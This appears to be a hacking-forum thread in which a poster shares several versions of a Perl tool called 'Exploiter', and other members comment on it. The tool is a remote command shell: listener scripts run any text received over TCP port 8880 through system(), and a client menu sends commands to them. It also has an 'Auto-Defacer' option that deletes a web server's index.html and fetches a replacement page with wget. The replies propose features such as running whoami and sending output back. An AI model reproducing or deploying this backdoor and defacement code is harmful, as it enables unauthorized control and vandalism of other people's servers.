It looks like you're new here. If you want to get involved, click one of these buttons!
#!/usr/bin/perl
# Exploiter 0.2
# Coded by Semtex-Primed
# www.iExploit.org
use IO::Socket;
use Getopt::Std;
getopts(\":n:\", \%args);
if (defined $args{n}) {
$n1 = $args{n};
}
if (!defined $args{n}) {
print \"Usage: $0 -n [NAME]\n\";
exit;
}
@exploiter = (
\"\n\t8888888888 888 d8b 888 \n\",
\"\t888 888 Y8P 888 \n\",
\"\t888 888 888 \n\",
\"\t8888888 888 888 88888b. 888 .d88b. 888 888888 .d88b. 888d888 \n\",
\"\t888 Y8bd8P 888 88b 888 d88 88b 888 888 d8P Y8b 888P \n\",
\"\t888 X88K 888 888 888 888 888 888 888 88888888 888 \n\",
\"\t888 .d8pq8b. 888 d88P 888 Y88..88P 888 Y88b. Y8b. 888 \n\",
\"\t8888888888 888 888 88888P 888 Y88P 888 Y888 Y8888 888 \n\",
\"\t 888 \n\",
\"\t 888 .::Semtex-Primed::. \n\",
\"\t 888 www.iExploit.org \n\"
);
@options = (
\"\n\t\t\t Welcome to Exploiter $n1!\n\",
\"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
\"\t\t\t|+| 1. Connect to server |+|\n\",
\"\t\t\t|+| 2. Close |+|\n\",
\"\t\t\t|+| 3. Features |+|\n\",
\"\t\t\t|+| 4. Credits/Shouts |+|\n\",
\"\t\t\t|+| |+|\n\",
\"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\"
);
while(1) {
system(\"clear\");
print @exploiter;
print @options;
print \"\t\t\tWhat is your option? \n\";
print \"\t\t\t>> \";
$choice = <STDIN>;
chomp ($choice);
if($choice eq \"1\") {
my $sock = new IO::Socket::INET (
PeerAddr => 'HackStation',
PeerPort => '8880',
Proto => 'tcp',
);
die \"\t\t\tCould not create socket: $!\n\" unless $sock;
print $sock \"\t\t\tConnected!!\n\"; #Used to confirm connection in testing
while ($sock) {
print \"\t\t\tConnected, here's your choices\n\";
print \"\t\t\t1. Enter command\n\";
print \"\t\t\t2. Auto-Defacer (webserver's only!)\n\";
print \"\t\t\t3. quit\n\";
print \"\t\t\t>> \";
$choice = <STDIN>;
chomp ($choice);
if ($choice eq \"3\") {
close($sock);
exit($sock);
last;
} elsif ($choice eq \"1\") {
print \"\t\t\tEnter Command: \n\";
print \"\t\t\t>> \";
$data2send = <STDIN>;
chomp ($data2send);
$sock->send(\"$data2send\");
print <$sock>;
#close $sock;
last;
} elsif ($choice eq \"2\") {
$chdir = 'chdir /var/www/';
chomp ($chdir);
$sock->send(\"$chdir\");
print \"\t\t\t[-] You are now working in... \n\";
print \"\t\t\t[-] /var/www/ default web root!\n\";
$remove_index = \"rm index.html\";
chomp ($remove_index);
$sock->send(\"$remove_url\");
print \"\t\t\t[-] index.html has been removed\n\";
print \"\t\t\t[-] now upload your own!\n\";
print \"\t\t\tWget deface from URL: \n\";
print \"\t\t\t>> \";
$deface_url = <STDIN>;
chomp ($deface_url);
$sock->send(\"$deface_url\");
}
}
} elsif($choice eq \"2\") {
exit
} elsif($choice eq \"3\") {
#features
@features = (
\"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
\"\t\t\t|+| |+|\n\",
\"\t\t\t|+| |+|\n\",
\"\t\t\t|+| |+|\n\"
);
print @features;
sleep(5);
} elsif($choice eq \"4\") {
#credz
@credits = (
\"\t\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
\"\t\t\t|+| Big shout out to: |+|\n\",
\"\t\t\t|+| ~ iExploit.org ~ |+|\n\",
\"\t\t\t|+| and all of it members |+|\n\",
\"\t\t\t|+| |+|\n\",
\"\t\t\t|+|-------------------------|+|\n\"
);
print @credits;
sleep(5);
}
}
#!/usr/bin/perl
use IO::Socket;
#use IO::CaptureOutput qw/capture/;
use Capture::Tiny qw/capture/;
while(1) {
my $sock = new IO::Socket::INET (
LocalHost => 'HackStation',
LocalPort => '8880',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
die \"\t\tCould not create socket: $!\n\" unless $sock;
my $new_sock = $sock->accept();
while (<$new_sock>) {
print $_;
$new_sock->recv($recv_data,1024);
if($recv_data eq 'q' or $recv_data eq 'Q') {
close $new_sock;
} else {
($stdout, $stderr) = capture {
system(\"$recv_data\");
};
print $new_sock ($stdout, $stderr);
last;
}
}
# close($sock);
}
#!/usr/bin/perl
use IO::Socket;
while(1) {
my $sock = new IO::Socket::INET (
LocalHost => 'netbook1-linux',
LocalPort => '8880',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
die \"\t\tCould not create socket: $!\n\" unless $sock;
my $new_sock = $sock->accept();
while (<$new_sock>) {
print $_;
$new_sock->recv($recv_data,1024);
if($recv_data eq 'q' or $recv_data eq 'Q') {
close $new_sock;
} else {
system(\"$recv_data\");
last;
}
}
# close($sock);
}
#!/usr/bin/perl
use IO::Socket;
@header = (
\"\n\n\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
\"\t\t|+| Exploiter 0.1 |+|\n\",
\"\t\t|+| ~ Semtex-Primed ~ |+|\n\"
);
@options = (
\"\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\",
\"\t\t|+| 1. Connect to server |+|\n\",
\"\t\t|+| 2. Close |+|\n\",
\"\t\t|+| |+|\n\",
\"\t\t|+|+|+|+|+|+|+|+|+|+|+|+|+|+|+|\n\"
);
while(1) {
system(\"clear\");
print @header;
print @options;
print \"\t\tWhat is your option? \n\";
print \"\t\t>>> \";
$choice = <STDIN>;
chomp ($choice);
if($choice eq \"1\") {
my $sock = new IO::Socket::INET (
PeerAddr => 'netbook1-linux',
PeerPort => '8880',
Proto => 'tcp',
);
die \"\t\tCould not create socket: $!\n\" unless $sock;
print $sock \"\t\tConnected!!\n\";
while ($sock) {
print \"\t\tConnected, here's your choices\n\";
print \"\t\t1. Enter command\n\";
print \"\t\t2. quit\n\";
print \"\t\t>> \";
$choice = <STDIN>;
chomp ($choice);
if ($choice eq \"2\") {
close($sock);
exit($sock);
last
} elsif ($choice eq \"1\") {
print \"\t\tEnter Command! \n\";
print \"\t\t>> \";
$data2send = <STDIN>;
chomp ($data2send);
$sock->send($data2send);
close $sock;
last;
}
}
} elsif($choice eq \"2\") {
exit
}
}
haha that's pretty cool, would be neat to receive the output of system() back at the client :)
whoami
I think a good feature for it to have is run the commandwhoami
On the server and return the result to the client before you execute any commands
I might start a python port of this. This would make an interesting project.
Good luck guys, I'm just working my balls off trying to find a solution to returning the output.
What won't send the output. Server or client?